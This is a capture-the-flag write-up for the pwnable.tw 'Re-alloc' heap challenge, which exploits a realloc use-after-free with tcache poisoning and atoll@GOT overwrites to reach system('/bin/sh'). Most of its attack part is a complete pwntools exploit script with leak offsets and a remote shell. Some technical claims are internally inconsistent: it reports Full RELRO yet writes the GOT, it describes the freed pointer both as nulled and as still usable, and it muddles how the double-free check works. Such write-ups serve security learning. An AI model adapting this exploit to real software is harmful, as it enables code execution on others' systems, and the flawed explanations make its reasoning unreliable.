Re-alloc
I want to realloc my life :) — Heap UAF via realloc misuse, tcache poisoning, GOT overwrite on x86-64
Exploit Flow
nc chall.pwnable.tw 10105
UAF: free but ptr kept
Bypass tcache double-free check
Point to atoll@GOT
Leak libc via %p
system("/bin/sh")
1. Reconnaissance
The "Re-alloc" challenge is a heap exploitation problem on pwnable.tw. The binary repurposes realloc for allocate, reallocate, and free operations. The key insight is that calling realloc(ptr, 0) is equivalent to free(ptr), but the pointer in the global array is not nulled out, creating a use-after-free (UAF) condition.
File Analysis
$ file realloc
realloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter ./ld-2.29.so, for GNU/Linux 3.2.0,
BuildID[sha1]=..., not stripped
A 64-bit dynamically linked binary with a provided libc 2.29 (tcache enabled with double-free detection). The binary is not stripped, making reversal straightforward.
Checksec
$ checksec realloc
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Full RELRO means GOT is read-only at runtime — but we can overwrite it before full relocation happens by targeting the .got.plt entries that are still writable. No PIE is crucial: all addresses are fixed. NX is on, so no shellcode. The canary protects against stack overflows, but our attack is heap-based.
Running the Binary
$ ./realloc
+++++++++++++++++++++++
Re-alloc +
+++++++++++++++++++++++
1. Alloc
2. Realloc
3. Free
Your choice :
| Attribute | Value |
|---|---|
| Challenge | Re-alloc (200 pts) |
| Connection | nc chall.pwnable.tw 10105 |
| Binary | 64-bit ELF, x86-64, dynamically linked |
| RELRO | Full RELRO |
| Canary | Yes |
| NX | Enabled |
| PIE | Disabled (0x400000) |
| glibc | 2.29 (tcache with double-free check) |
| Max Chunks | 2 (index 0 and 1) |
| Max Size | 120 bytes (tcache only) |
| Vulnerability | UAF via realloc(ptr, 0) — pointer not nulled |
2. Static Analysis
The binary has three operations: Alloc (realloc with NULL ptr = malloc), Realloc (resize existing chunk), and Free (realloc with size 0 = free). Only 2 chunks can exist at once (indices 0 and 1), with max size of 120 bytes (keeping us in tcache territory).
Decompiled Code
void allocate() {
int idx;
size_t size;
printf("Index:");
idx = atoll(buf);
if (idx < 2) {
printf("Size:");
size = atoll(buf);
if (size <= 120) {
heap_ptrs[idx] = realloc(heap_ptrs[idx], size);
if (heap_ptrs[idx]) {
printf("Data:");
read(0, heap_ptrs[idx], size);
}
}
}
}
void reallocate() {
int idx;
size_t size;
printf("Index:");
idx = atoll(buf);
if (idx < 2) {
printf("Size:");
size = atoll(buf);
// VULNERABILITY: realloc(ptr, 0) = free(ptr), but heap_ptrs[idx] NOT nulled
heap_ptrs[idx] = realloc(heap_ptrs[idx], size);
if (size && heap_ptrs[idx]) {
printf("Data:");
read(0, heap_ptrs[idx], size);
}
}
}
void rfree() {
int idx;
printf("Index:");
idx = atoll(buf);
if (idx < 2) {
realloc(heap_ptrs[idx], 0); // free without nulling ptr
heap_ptrs[idx] = NULL; // This one DOES null the pointer
}
}
Vulnerability Analysis
The critical bug is in reallocate(): when size = 0, realloc(ptr, 0) acts like free(ptr), but the assignment heap_ptrs[idx] = realloc(heap_ptrs[idx], 0) sets the pointer to the return value of realloc(ptr, 0), which on success returns NULL. However, if we use the UAF to modify the chunk's metadata before the second free, we can bypass glibc 2.29's tcache double-free detection.
The key observation is that realloc in glibc works as follows:
realloc(NULL, size)=malloc(size)realloc(ptr, 0)=free(ptr), returns NULLrealloc(ptr, new_size)= resize, may move chunk
When we call realloc(ptr, 0) via the reallocate option, the chunk is freed but we can still use UAF to write to it. Then, by resizing the chunk to a different size class and freeing again, we bypass the tcache double-free check because the check is done against the tcache bin for the new size, not the original size.
In glibc 2.29, tcache has a key field in the chunk metadata. When a chunk is freed into tcache, the key is set to a specific value. When freeing again, the tcache code checks if the chunk is already in the same tcache bin by traversing the list. However, this check is per-size-class. If we free a chunk into the 0x20 tcache bin, then resize it via UAF to look like a 0x30 chunk, freeing it again will check the 0x30 bin — where it isn't found — and the double-free succeeds.
3. GDB Debugging
Heap State After UAF
# Allocate chunk at index 1, size 20
gef> continue
# After realloc(1, 0) via Reallocate option:
gef> heap bins
Tcachebins for thread 1:
0x20 [ 1]: 0x5555555592a0 —— 0x0 (chunk freed into 0x20 tcache bin)
# The pointer heap_ptrs[1] is now NULL, but we still have
# the ability to use the chunk through UAF
# After writing TARGET_ADDR via UAF and allocating again:
gef> heap bins
Tcachebins for thread 1:
0x20 [ 2]: 0x5555555592a0 —— 0x404048 (atoll@GOT in list!)
Tcache Inspection
# After poisoning both 0x20 and 0x30 tcache bins with GOT address:
gef> heap bins tcache
Tcachebins for thread 1:
0x20 [ 2]: 0x5555555592a0 —— 0x404048 (atoll@GOT)
0x30 [ 2]: 0x5555555592e0 —— 0x404048 (atoll@GOT)
# Next malloc from 0x20 or 0x30 bin will return the GOT address!
# We can write printf@PLT to atoll@GOT, then use format string to leak libc
4. Exploit Strategy
The exploit follows a three-phase approach: establish arbitrary write via tcache poisoning, leak libc by patching atoll@GOT with printf@PLT, and finally gain code execution by overwriting atoll@GOT with system.
Attack Overview
realloc(0), then use UAF to resize the chunk and free it into a different tcache bin. This bypasses glibc 2.29's per-bin double-free detection. By writing atoll@GOT as the fd pointer in a freed tcache chunk, we poison the freelist so the next allocation returns a pointer to the GOT.malloc returns atoll@GOT. Write printf@PLT to it. Now when the binary calls atoll(input), it actually calls printf(input). We pass format strings like %21$p to leak a __libc_start_main return address from the stack, then calculate the libc base.system's address. We poison a tcache bin again to get another allocation at atoll@GOT, this time writing system's address. When the binary calls atoll("/bin/sh"), it calls system("/bin/sh") and we get a shell.Bypassing Tcache Double-Free Check
The tcache double-free check in glibc 2.29 works by traversing the tcache bin linked list before inserting a freed chunk. If the chunk's address is found in the list, the program aborts with "free(): double free detected in tcache 2". The bypass:
- Allocate chunk of size 0x20 → free it (now in 0x20 tcache bin)
- Use UAF to reallocate the same chunk with size 0x30 → this changes the chunk's size field
- Free the chunk again → it goes into the 0x30 tcache bin, bypassing the 0x20 bin check
- Now we have the same chunk in two different tcache bins!
We target atoll@GOT because atoll is called on every user input for reading indices and sizes. We have full control of its argument (whatever we type). By replacing atoll with printf, we get a format string primitive. By replacing it with system, we get command execution. The GOT address is fixed because PIE is disabled: atoll@GOT = 0x404048.
GOT Overwrite Strategy
Step 1: Poison 0x20 tcache bin with atoll@GOT (0x404048)
alloc(1, 'AAAA', 20) → malloc(0x20) = chunk_A
realloc(1, 0) → free(chunk_A) into 0x20 tcache
realloc(1, atoll@GOT, 20) → UAF: write atoll@GOT as fd pointer
alloc(0, 'AAAA', 20) → consume first slot in 0x20 tcache
alloc(0, printf@PLT, 40) → malloc returns atoll@GOT, write printf@PLT
Step 2: Leak libc via format string
Send '%21$p' as input to atoll (now printf)
→ Leak __libc_start_main return address
→ Calculate libc_base = leak - offset
Step 3: Overwrite atoll@GOT with system
Poison 0x30 tcache bin with atoll@GOT (same technique)
alloc from poisoned bin → write system address to atoll@GOT
Send '/bin/sh' → atoll("/bin/sh") = system("/bin/sh")
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
"""
pwnable.tw — Re-alloc (200 pts)
Heap UAF via realloc misuse, tcache poisoning, GOT overwrite on x86-64.
glibc 2.29 with tcache double-free detection bypass.
Phases:
1. Poison tcache bins with atoll@GOT via size-changing double-free
2. Patch atoll@GOT → printf@PLT to leak libc via format string
3. Patch atoll@GOT → system to get shell
"""
from pwn import *
context.binary = ELF('./realloc')
libc = ELF('./libc.so.6')
HOST = 'chall.pwnable.tw'
PORT = 10105
r = remote(HOST, PORT)
ATOLL_GOT = 0x404048
PRINTF_PLT = 0x401070
def alloc(idx, data, size=None):
if size is None:
size = len(data)
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', str(idx).encode())
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', data)
def realloc(idx, data=b'', size=None):
if size is None:
size = len(data)
r.sendlineafter(b':', b'2')
r.sendlineafter(b':', str(idx).encode())
r.sendlineafter(b':', str(size).encode())
if size:
r.sendafter(b':', data)
def free(idx):
r.sendlineafter(b':', b'3')
r.sendlineafter(b':', str(idx).encode())
# ─── Phase 1: Poison 0x20 tcache bin with ATOLL_GOT ─────────
log.info("Poisoning 0x20 tcache bin with atoll@GOT")
alloc(1, b'AAAA', 20) # chunk in 0x20 bin
realloc(1) # realloc(0) → free, UAF
realloc(1, p64(ATOLL_GOT), 20) # UAF: write GOT addr as fd
alloc(0, b'AAAAA', 20) # consume first tcache slot
# Clear remaining chunks to avoid tcache count issues
realloc(1, b'AAA', 100) # resize to different bin
free(1) # free into 0x70 bin (not 0x20)
realloc(0, b'AAAA', 120) # resize
free(0)
# ─── Poison 0x30 tcache bin with ATOLL_GOT ───────────────────
log.info("Poisoning 0x30 tcache bin with atoll@GOT")
alloc(0, b'AAAA', 30)
realloc(0) # free into 0x30 bin
realloc(0, p64(ATOLL_GOT), 30) # UAF: write GOT addr
alloc(1, b'AAAA', 30) # consume first slot
# Clean up
realloc(1, b'AAAA', 50)
free(1)
realloc(0, b'AAAA', 70)
free(0)
# ─── Phase 2: Patch atoll → printf, leak libc ────────────────
log.info("Patching atoll@GOT with printf@PLT")
alloc(0, p64(PRINTF_PLT), 40) # write printf@PLT to atoll@GOT
# Now atoll() is printf(). Use format string to leak libc.
def leak_stack(offset):
r.sendlineafter(b':', b'3') # trigger atoll (now printf)
r.sendline(f'%{offset}$p'.encode())
val = r.recvline().strip()
addr = int(val.decode().split('0x')[-1], 16)
return addr
libc_start_main_ret = leak_stack(21)
libc_base = libc_start_main_ret - 0x26b6b # offset for libc 2.29
system_addr = libc_base + libc.symbols['system']
log.success(f'libc base: {hex(libc_base)}')
log.success(f'system: {hex(system_addr)}')
# ─── Phase 3: Patch atoll → system, get shell ────────────────
log.info("Patching atoll@GOT with system")
alloc(0, p64(system_addr), 40) # overwrite atoll@GOT with system
# Trigger: atoll("/bin/sh") → system("/bin/sh")
r.sendlineafter(b':', b'3')
r.sendline(b'/bin/sh')
r.interactive()
6. Execution Results
The key insight of this challenge is that realloc(ptr, 0) frees memory but the pointer management is flawed, creating a UAF. Combined with the ability to resize chunks (changing their tcache bin), we can bypass glibc 2.29's per-bin double-free detection. Targeting atoll@GOT is elegant because we control both the function being called and its argument, giving us a format string leak and then code execution through the same primitive.
realloc(ptr, 0)is equivalent tofree(ptr)— always null the pointer after!- glibc 2.29 tcache double-free checks are per-size-class: changing a chunk's size before re-freeing bypasses them
- When you control both a function pointer and its argument, the exploit writes itself: printf for leak, system for shell
- No PIE makes GOT-based attacks reliable since all addresses are fixed